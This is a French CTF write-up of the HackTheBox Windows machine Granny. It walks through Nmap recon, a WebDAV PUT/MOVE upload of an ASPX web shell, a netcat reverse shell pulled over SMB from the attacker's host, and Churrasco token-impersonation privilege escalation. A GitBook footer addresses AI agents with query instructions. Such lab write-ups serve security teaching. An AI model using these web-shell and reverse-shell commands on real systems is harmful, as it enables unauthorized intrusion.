> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md).

# Récapitulatif HackTheBox de Granny

Récapitulatif de la machine HackTheBox Windows facile Granny couvrant l'abus des méthodes PUT et MOVE - téléversement d'un web shell Aspx, Microsoft IIS 6.0 - débordement de tampon distant WebDAV 'ScStoragePathFromUrl' (RCE), détourn

{% embed url="<https://app.hackthebox.com/machines/14>" %}

{% hint style="warning" %}
**Compétences :**

* Abus des méthodes PUT et MOVE - Téléversement d'un WebShell ASPX
* Microsoft IIS 6.0 - Débordement de tampon distant WebDAV 'ScStoragePathFromUrl' (RCE)
* Détournement de jeton - Churrasco (élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec6875c612095ce6ed9fd2f84c854b0165311b5a%2Fimage%20(872).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN afin d'assurer une communication stable avec la machine cible.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fcdb5d3f8e9fe22b78c31ec623170af1b68f8ad0%2Fimage%20(873).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.15 -oG allPorts
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-061004807c4a6da8a12ae158e1aa88a20edae329%2Fimage%20(874).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse des versions des ports avec Nmap :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p80 10.10.10.15 -oN targeted
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-098cd690fc77a873438394d4ba2337d1dd98de7b%2Fimage%20(875).png?alt=media" alt=""><figcaption></figcaption></figure>

### Port 80 - HTTP

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-faf516ba324147ff33fe7d4aceabb4a0cfd803bb%2Fimage%20(876).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnérabilité WebDAV

Le port 80 est ouvert, et le serveur prend en charge WebDAV. Cela nous permet potentiellement de téléverser des fichiers via la méthode PUT et de les renommer avec MOVE.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-063bf5b16aa08a0c937fa828f58c6a11856fb5ba%2Fimage%20(877).png?alt=media" alt=""><figcaption></figcaption></figure>

Créez un fichier de test :

```bash
echo "this is a test" > test.txt
```

Connectez-vous au serveur avec l' **outil cadaver**  :

```bash
cadaver 10.10.10.15
```

Essayez de téléverser le fichier avec la commande PUT :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e56f1e6d759304a190160d5866b126a62746d577%2Fimage%20(879).png?alt=media" alt=""><figcaption></figcaption></figure>

* Résultat : succès.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-124a9083f39a3e7e53930307aecb5b701e00a516%2Fimage%20(878).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **Téléversement du WebShell**

Copiez un WebShell ASPX préexistant :

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

Essayez de le téléverser directement :

```powershell
put aspx_cmd.aspx
```

Résultat : échec (le serveur bloque les fichiers avec l'extension .aspx).

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e9c62765e574591042e7651de6d1a1c40775bd9%2Fimage%20(880).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Changez l'extension en **.txt**:

```bash
mv aspx_cmd.aspx cmd.txt
```

Essayez à nouveau le téléversement :

```powershell
PUT cmd.txt
```

* Résultat : succès.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a54a685c7956c31ea6d21afd19a35fd2f0cc867b%2Fimage%20(882).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### Renommez le fichier avec MOVE pour restaurer l'extension :

```powershell
move cmd.txt cmd.aspx
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-748149579877b5e4af9d895f7e6acf1c6aa3ff6a%2Fimage%20(883).png?alt=media" alt=""><figcaption></figcaption></figure>

Accédez au WebShell via le navigateur :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5ed66749ef5e64c75ce0c6a3bfc1406d324e4ad%2Fimage%20(884).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Shell inversé via le WebShell :**

Placez un exécutable Netcat dans le répertoire courant :

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Lancez un serveur SMB pour partager le fichier :

```bash
smbserver.py smbFolder $(pwd) -smb2support
```

Écoutez sur votre machine sur le port 443 :

```bash
sudo rlwrap nc -nvlp 443
```

Exécutez la commande de shell inversé depuis le WebShell :

```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d2b5943177ce0de6355993c9327a9f6eb603835%2Fimage%20(885).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Élévation de privilèges :**

### Exploitation du noyau - Windows Server 2003

En utilisant les `systeminfo` commande, nous constatons que l'équipement est très ancien (Windows Server 2003) :

```bash
systeminfo
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3480c7c9748f9c9b8bd5f29ac222ef494cb7bca2%2Fimage%20(2658).png?alt=media" alt=""><figcaption></figcaption></figure>

Nous avons également le `privilège SeImpersonatePrivilege` qui nous permet d'essayer d'élever les privilèges.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-134a6abd9f21422d639ab16e4af960e8995c0acc%2Fimage%20(2662).png?alt=media" alt=""><figcaption></figcaption></figure>

Pour contourner cette limitation, nous utiliserons l' **outil churrasco.exe** .

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

/*/* Transfert de fichiers Windows (SMB)/*/*

> Nous utilisons **smbserver.py** pour partager un répertoire contenant le fichier d'exploit 40627.exe. Ce fichier est ensuite copié sur la machine cible.

```bash
smbserver.py share $(pwd) -smb2support
```

Depuis la machine cible, nous avons copié le fichier malveillant en utilisant la commande SMB :

```bash
copy //10.10.14.30/share/churrasco.exe churrasco.exe
```

Nous pouvons ensuite exécuter n'importe quelle commande avec ce binaire, par exemple :

```powershell
./churrasco.exe "whoami"
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72c9b85d21b3083ff772843ef8696245beb215dd%2Fimage%20(2663).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Établir un shell inversé**

Pour établir un shell inversé, nous écoutons sur le port 443 :

```bash
sudo rlwrap nc -nvlp 443
```

Nous recréons un serveur SMB avec **nc.exe**:

```bash
smbserver.py share $(pwd) -smb2support
```

Enfin, nous exécutons le shell inversé avec la commande suivante :

```bash
./churrasco.exe "//10.10.14.30/share/nc.exe -e cmd 10.10.14.30 443"
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88b68e3706e7ad0eaa692f7ad6170adb0e8ca226%2Fimage%20(2664).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5a61e1621ed7a529aa55f423373b4ba478a591a7%2Fimage%20(2665).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6bd815001e2de0ae2c70f08799052f5253a1bc91%2Fimage%20(2666).png?alt=media" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
